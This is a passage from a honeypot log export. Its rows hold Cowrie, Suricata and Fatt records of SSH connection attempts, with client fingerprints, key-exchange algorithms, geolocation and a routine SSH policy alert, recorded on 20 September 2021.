"@timestamp": "2021-09-20T12:01:30.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	DE
34515	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:01:29.93896+03	2021-09-20 15:15:01.991656+03	{"_id": "PQYVA3wBvYTbRNuEKFZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5879, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1434147429635024, "@version": "1", "in_iface": "enp5s0", "src_port": 36292, "dest_port": 53, "timestamp": "2021-09-20T12:01:29.938960Z", "@timestamp": "2021-09-20T12:01:29.938Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34516	46.101.115.211	109.199.241.180	Fatt	2021-09-20 15:01:30.349664+03	2021-09-20 15:15:01.993656+03	{"_id": "QAYVA3wBvYTbRNuEKVZp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T12:01:30.349664", "@timestamp": "2021-09-20T12:01:30.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	DE
34517	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:01:30.349996+03	2021-09-20 15:15:01.994656+03	{"_id": "SAYVA3wBvYTbRNuEK1Ys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "48dba8486019", "@version": "1", "timestamp": "2021-09-20T12:01:30.349996Z", "@timestamp": "2021-09-20T12:01:30.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	DE
34524	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:01:25.75099+03	2021-09-20 15:15:02.005656+03	{"_id": "JwYVA3wBvYTbRNuEF1ai", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "135a54a89cf9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:01:25.750990Z", "@timestamp": "2021-09-20T12:01:25.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
34518	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:01:31.683371+03	2021-09-20 15:15:01.995656+03	{"_id": "SgYVA3wBvYTbRNuELVZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33312, "timestamp": "2021-09-20T12:01:31.683371", "@timestamp": "2021-09-20T12:01:31.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34519	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:01:31.615309+03	2021-09-20 15:15:01.997657+03	{"_id": "SwYVA3wBvYTbRNuEL1YV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "48dba8486019", "@version": "1", "duration": 1.2988111972808838, "timestamp": "2021-09-20T12:01:31.615309Z", "@timestamp": "2021-09-20T12:01:31.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	DE
34520	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:31.682423+03	2021-09-20 15:15:01.998657+03	{"_id": "TQYVA3wBvYTbRNuEL1YV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "c6df0d066f2d", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:01:31.682423Z", "@timestamp": "2021-09-20T12:01:31.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34521	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:01:31.936475+03	2021-09-20 15:15:01.999656+03	{"_id": "UAYVA3wBvYTbRNuEMFYy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:01:29.407414+0000", "pkts_toclient": 5, "pkts_toserver": 6, "bytes_toclient": 969, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1689163260311414, "payload": "AAADVAUU+TCGek4va4qD61o9OpAW0wAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADLQxyJOw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33312, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:01:31.936475Z", "@timestamp": "2021-09-20T12:01:31.936Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...0.zN/k...Z=:.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none..............C..;"}}	1	\N	\N	alert	known attacker	CN
34522	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:01:31.936475+03	2021-09-20 15:15:02.001656+03	{"_id": "UgYVA3wBvYTbRNuEMVY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 33312, "dest_port": 22, "timestamp": "2021-09-20T12:01:31.936475", "@timestamp": "2021-09-20T12:01:31.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34523	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:01:25.884538+03	2021-09-20 15:15:02.003656+03	{"_id": "JgYVA3wBvYTbRNuEF1ah", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "135a54a89cf9", "@version": "1", "timestamp": "2021-09-20T12:01:25.884538Z", "@timestamp": "2021-09-20T12:01:25.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34525	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:01:25.882655+03	2021-09-20 15:15:02.006657+03	{"_id": "KAYVA3wBvYTbRNuEGFa-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 2114203961090315, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41446, "dest_port": 22, "timestamp": "2021-09-20T12:01:25.882655Z", "@timestamp": "2021-09-20T12:01:25.882Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
34526	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:01:25.751651+03	2021-09-20 15:15:02.007656+03	{"_id": "KgYVA3wBvYTbRNuEGVbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41446, "timestamp": "2021-09-20T12:01:25.751651", "@timestamp": "2021-09-20T12:01:25.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34527	107.0.200.227	109.199.241.180	Fatt	2021-09-20 15:01:25.88388+03	2021-09-20 15:15:02.008656+03	{"_id": "KwYVA3wBvYTbRNuEGVbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": 